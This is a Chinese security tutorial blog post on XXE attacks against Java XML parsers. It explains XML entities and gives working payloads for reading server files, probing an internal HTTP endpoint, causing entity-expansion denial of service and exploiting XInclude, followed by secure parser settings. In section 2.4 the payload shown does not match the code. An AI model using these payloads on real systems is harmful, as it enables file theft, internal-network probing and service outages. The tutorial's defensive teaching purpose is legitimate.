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【安全攻防】深入浅出实战系列专题-XXE攻击

MDKing 发表于 2023/10/10 11:39:11 2023/10/10

【摘要】一站式提供xml外部实体注入攻击的相关基础概念、原理分析、实战演练、安全编码防御以及自动化防御工具。

1 基本概念

XML基础：XML 指可扩展标记语言（Extensible Markup Language)，是一种与HTML类似的纯文本的标记语言，设计宗旨是为了传输数据，而非显示数据。是W3C的推荐标准。

XML标签：XML被设计为具有自我描述性，XML标签是没有被预定义的，需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档。

DTD：指文档类型定义(Document Type Definition)，通过定义根节点、元素（ELEMENT）、属性（ATTLIST）、实体（ENTITY）等约束了xml文档的内容按照指定的格式承载数据。

如下图，通过<!DOCTYPE 根节点名称 [DTD内容]>的规则指定了该xml文件合法的根节点元素为persons，它的子节点元素为person，以及person的子层元素以及属性。

（另外：可通过<!DOCTYPE 根节点名称 SYSTEM "DTD文件名">的方式引入外部的DTD定义文件）

实体：在DTD中通过<!ENTITY 实体名称 "实体的值">等方式定义实体，相当于定义变量的作用，可在文档内容中通过&实体名称；的方式引用实体的值（变量的值）。

实体类型：实体分为多种类型，从使用范围的维度，分为参数实体（只能在DTD中引用）与非参数实体（可以在DTD中、文档内容中引用）。区别如下：

	样例	引用方式	使用范围与场景
非参数实体	<!ENTITY country "中国">	&country;	在DTD中、文档内容中均可引用，一般用来取代重复的字符串
参数实体	<!ENTITY % countrydefine "xxx元素的DTD定义内容">	%country;	仅能在DTD定义中引用，一般用来保存某段重复的DTD定义

从值的来源维度，分为内部实体、外部实体。内部实体为文档内部直接定义值，外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下：

	样例	特征与使用场景
内部实体	<!ENTITY country "中国">	值是明确的字符串常量等，可以直接定义在本文档中
外部实体	<!ENTITY country SYSTEM "file:///D:/country.txt">	值来源于其它文件或者网络

XML外部实体注入：XML External Entity Injection即xml外部实体注入漏洞，简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时，就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的，达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的。

Xinclude：Xinclude用来导入外部xml文档，类似于php的include，将外部定义的dtd引入当前文件。该特性可以解决部分场景下引入外部实体具有的局限性，但并不是所有XML 解析器都支持 XInclude，W3C在XInclude Implementations Report中列出了支持的列表，结合XInclude特性也可以在部分场景下执行XXE攻击。常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。

2 常见攻击场景实战演练

2.1 服务器文件读取（信息泄露）

目的与场景：通过构造特定格式的xml文档，读取服务器上指定文件的内容，达到敏感信息获取的目的。

xml文档payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
	<!ELEMENT root (#PCDATA)>
	<!ENTITY pw SYSTEM "file:///D:/securetest/xxe/passwd.txt">]>
<root>&pw;</root>

服务器端代码：

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<!DOCTYPE root [ \n" +
                "\t<!ELEMENT root (#PCDATA)>\n" +
                "\t<!ENTITY pw SYSTEM \"file:///D:/securetest/xxe/passwd.txt\">]>\n" +
                "<root>&pw;</root>";
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream in = new ByteArrayInputStream(xml.getBytes());
        org.w3c.dom.Document document = builder.parse(in);
        Element rootElement = document.getDocumentElement();

        // 打印根节点元素名称、内容
        System.out.println("根节点名称：" + rootElement.getNodeName());
        System.out.println("根节点内容：" + rootElement.getTextContent());
}

执行结果：成功读取到了passwd.txt的内容。（服务端代码样例中打印在控制台上，对应实际系统中需要有将文档内容打印到界面上等处理。）

2.2 内网信息探测

目的与场景：通过构造特定格式的xml文档，可以借助目标主机访问内网的其它主机开放的内部接口等服务。

内网其它服务器模拟准备：通过node staticServer.js命令启动服务器，监听3000端口

let express = require('express')
let app = express();
app.use(express.static(__dirname));
app.get('/getInnerData', function(req, res) {
  console.log(req.headers)
  res.end('AK:abc;SK:ABDCEF')
})
app.listen(3000)

经验证，http请求可成功返回

xml文档payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
	<!ELEMENT root (#PCDATA)>
	<!ENTITY pw SYSTEM "http://127.0.0.1:3000/getInnerData">]>
<root>&pw;</root>

服务器端代码：

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
        String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<!DOCTYPE root [ \n" +
                "\t<!ELEMENT root (#PCDATA)>\n" +
                "\t<!ENTITY pw SYSTEM \"http://127.0.0.1:3000/getInnerData\">]>\n" +
                "<root>&pw;</root>";
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setValidating(true);
        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream in = new ByteArrayInputStream(xml.getBytes());
        org.w3c.dom.Document document = builder.parse(in);
        Element rootElement = document.getDocumentElement();

        // 打印根节点元素名称、内容
        System.out.println("根节点名称：" + rootElement.getNodeName());
        System.out.println("根节点内容：" + rootElement.getTextContent());
    }

执行结果：成功读取到内部接口getInnerData的内容。

2.3 DDos攻击

目的与场景：通过构造特殊格式的xml文档，定义多层递归引用的实体（变量）让解析的内容以及时间以指数级增长，以实现DDos攻击的效果。

xml文档payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
	<!ELEMENT root (#PCDATA)>
	<!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
	<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
	<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
	<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
	<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
	<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
	<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
<root>&lol6;</root>

服务器端代码：

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
    // 获取当前时间
    LocalDateTime startTime = LocalDateTime.now();
    String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
            "<!DOCTYPE root [ \n" +
            "\t<!ELEMENT root (#PCDATA)>\n" +
            "\t<!ENTITY lol \"lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n\">\n" +
            "\t<!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n" +
            "\t<!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n" +
            "\t<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" +
            "\t<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" +
            "\t<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n" +
            "\t<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;\">]>\n" +
            "<root>&lol6;</root>";
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating(true);
    factory.setExpandEntityReferences(false);
    System.setProperty("entityExpansionLimit", "50000000");
    DocumentBuilder builder = factory.newDocumentBuilder();
    InputStream in = new ByteArrayInputStream(xml.getBytes());
    org.w3c.dom.Document document = builder.parse(in);
    Element rootElement = document.getDocumentElement();

    // 打印根节点元素名称、内容
    System.out.println("根节点名称：" + rootElement.getNodeName());
    System.out.println("根节点内容：" + rootElement.getTextContent());
    System.out.println("根节点内容长度：" + rootElement.getTextContent().length());
    System.out.println("根节点内容大小：" + rootElement.getTextContent().getBytes().length / (1024 * 1024) + "MB");

    // 获取当前时间并计算时间差
    LocalDateTime endTime = LocalDateTime.now();
    Duration duration = Duration.between(startTime, endTime);
    System.out.println("解析执行时间为：" + duration.toMillis() + "豪秒");
}

执行结果：如果程序中不对解析实体做限制的话，可以通过少量的DTD定义，实现海量大小的解析结果的效果，会大量占用服务器的处理、存储。

2.4 Xinclude攻击演示

目的与场景：该样例演示了如果打开了Xinclude开关的危险性，即使做了DTD的安全禁用，还是依然可以进行XXE攻击。

xml文档payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
	<!ELEMENT root (#PCDATA)>
	<!ENTITY lol "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol\n">
	<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
	<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
	<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
	<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
	<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
	<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">]>
<root>&lol6;</root>

服务端代码：

public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
    String xml = "<?xml version=\"1.0\" ?>\n" +
            "<root xmlns:xi=\"http://www.w3.org/2001/XInclude\">\n" +
            "<xi:include href=\"file:///D:/securetest/xxe/passwd.txt\" parse=\"text\"/>\n" +
            "</root>";
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setNamespaceAware(true);
    factory.setXIncludeAware(true);
    DocumentBuilder builder = factory.newDocumentBuilder();
    InputStream in = new ByteArrayInputStream(xml.getBytes());
    org.w3c.dom.Document document = builder.parse(in);
    Element rootElement = document.getDocumentElement();

    // 打印根节点元素名称、内容
    System.out.println("根节点名称：" + rootElement.getNodeName());
    System.out.println("根节点内容：" + rootElement.getTextContent());
}

执行结果：

3 安全编码防御

3.1 禁止打开Xinclude开关

常见的支持xinclude特性的xml解析器都是默认关闭xinclude特性的，如果使用，需要在代码中手动开启，如在DOM型解析器中开启如下配置factory.setNamespaceAware(true);factory.setXIncludeAware(true);如果不关闭Xinclude，仅禁用DTD解析也是存在安全风险的。2.4中演示了即使禁用了DTD解析，打开Xinclude功能开关后存在的安全问题。所以从安全角度考虑，首先禁止打开Xinclude开关。

3.2 禁用DTD解析

如果业务中不需要进行DTD定义以及解析，最好的方式就是完全禁用DTD解析。例如Dom类型的解析器中通过factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);来禁用。效果如下：

3.3 禁用外部实体解析

方式一：如果业务中确实需要DTD定义以及解析，可以通过仅禁用外部实体解析的方式进行安全防护。例如Dom类型的解析器中通过如下方式设置禁用外部实体解析：

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

效果如下：

方式二：禁用外部实体解析还有另外一种方式，重写实体解析函数，核心代码：

builder.setEntityResolver(new EntityResolver() {
    @Override
    public InputSource resolveEntity(String publicId, String systemId) throws SAXException,IOException {
        return new InputSource(new StringReader(""));
    }
});

效果如下：

4 安全编码扫描工具

IoT已将包括上述安全编码逻辑在内的常用XML解析器的安全编码规范提取到IoT自定义安全规则集，上线到所有IoT服务的生产发布流水线中，自动化的保障各服务的现网代码安全。如：

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1 基本概念

2 常见攻击场景实战演练

2.1 服务器文件读取（信息泄露）

2.2 内网信息探测

2.3 DDos攻击

2.4 Xinclude攻击演示

3 安全编码防御

3.1 禁止打开Xinclude开关

3.2 禁用DTD解析

3.3 禁用外部实体解析

4 安全编码扫描工具

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